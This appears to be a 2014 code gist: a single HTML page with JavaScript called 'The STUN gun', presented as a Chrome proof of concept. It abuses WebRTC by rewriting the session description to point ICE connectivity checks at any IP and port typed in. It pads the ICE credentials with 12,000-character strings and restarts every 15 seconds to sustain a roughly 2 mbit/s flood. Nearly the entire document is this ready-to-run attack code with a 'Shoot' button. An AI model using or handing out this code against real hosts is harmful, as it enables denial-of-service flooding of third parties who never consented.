Created
May 29, 2014 09:14
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A proof of concept STUN gun for Google Chrome which creates a continous 2 mbit/s stream to anywhere you want.
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| <html> | |
| <head> | |
| <title>The STUN gun</title> | |
| </head> | |
| <body> | |
| <form action=""> | |
| Destination IP:<br> | |
| <input type="text" id="destinationIp" value="127.0.0.1"><br> | |
| Destination port:<br> | |
| <input type="text" id="destinationPort" value="8888"><br><br> | |
| <input type="button" id="shootButton" value="Shoot" onclick="shoot()"> | |
| </form> | |
| <script language="JavaScript"> | |
| var pc = null; | |
| var timer = null; | |
| function makeString(length) { | |
| var str = ""; | |
| for (var i = 0; i < length; i ++) { | |
| str += "A"; | |
| } | |
| return str; | |
| } | |
| function processSdp(sdp_str, destination_ip, destination_port) { | |
| var sdp = new Array(); | |
| var lines = sdp_str.split("\r\n"); | |
| for (var i = 0; i < lines.length; i++) { | |
| if (lines[i].indexOf("a=rtcp-mux") != -1) { | |
| sdp.push(lines[i]); | |
| /* add ice candidates for the destination */ | |
| sdp.push("a=candidate:0 1 udp 2130379007 "+destination_ip+" "+destination_port+" typ host"); | |
| } else if (lines[i].indexOf("a=ice-ufrag") != -1) { | |
| sdp.push("a=ice-ufrag:"+makeString(12000)); | |
| } else if (lines[i].indexOf("a=ice-pwd") != -1) { | |
| sdp.push("a=ice-pwd:"+makeString(12000)); | |
| } else { | |
| /* keep the rest */ | |
| sdp.push(lines[i]); | |
| } | |
| } | |
| return sdp.join("\r\n"); | |
| } | |
| function shoot() { | |
| document.getElementById("shootButton").value = "Stop"; | |
| document.getElementById("shootButton").onclick = stop; | |
| var ip = document.getElementById("destinationIp"); | |
| var port = document.getElementById("destinationPort"); | |
| if (pc != null) { | |
| pc.close(); | |
| } | |
| pc = new webkitRTCPeerConnection(null); | |
| pc.createOffer( | |
| function(remoteDescription) { | |
| remoteDescription.sdp = processSdp(remoteDescription.sdp, ip.value, port.value); | |
| pc.setRemoteDescription( | |
| remoteDescription, | |
| function() { | |
| pc.createAnswer( | |
| function(localDescription) { | |
| pc.setLocalDescription( | |
| localDescription, | |
| function() { | |
| timer = setTimeout(function() { shoot(); }, 15000); | |
| }, | |
| function() { | |
| console.log("error setting local description"); | |
| } | |
| ); | |
| }, | |
| function() { | |
| console.log("error creating sdp answer"); | |
| } | |
| ); | |
| }, | |
| function() { | |
| console.log("error setting remote description"); | |
| } | |
| ); | |
| }, | |
| function() { | |
| console.log("error creating sdp offer"); | |
| } | |
| ); | |
| } | |
| function stop() { | |
| if (timer != null) { | |
| clearTimeout(timer); | |
| timer = null; | |
| } | |
| if (pc != null) { | |
| pc.close(); | |
| pc = null; | |
| } | |
| document.getElementById("shootButton").value = "Shoot"; | |
| document.getElementById("shootButton").onclick = shoot; | |
| } | |
| </script> | |
| </body> | |
| </html> |
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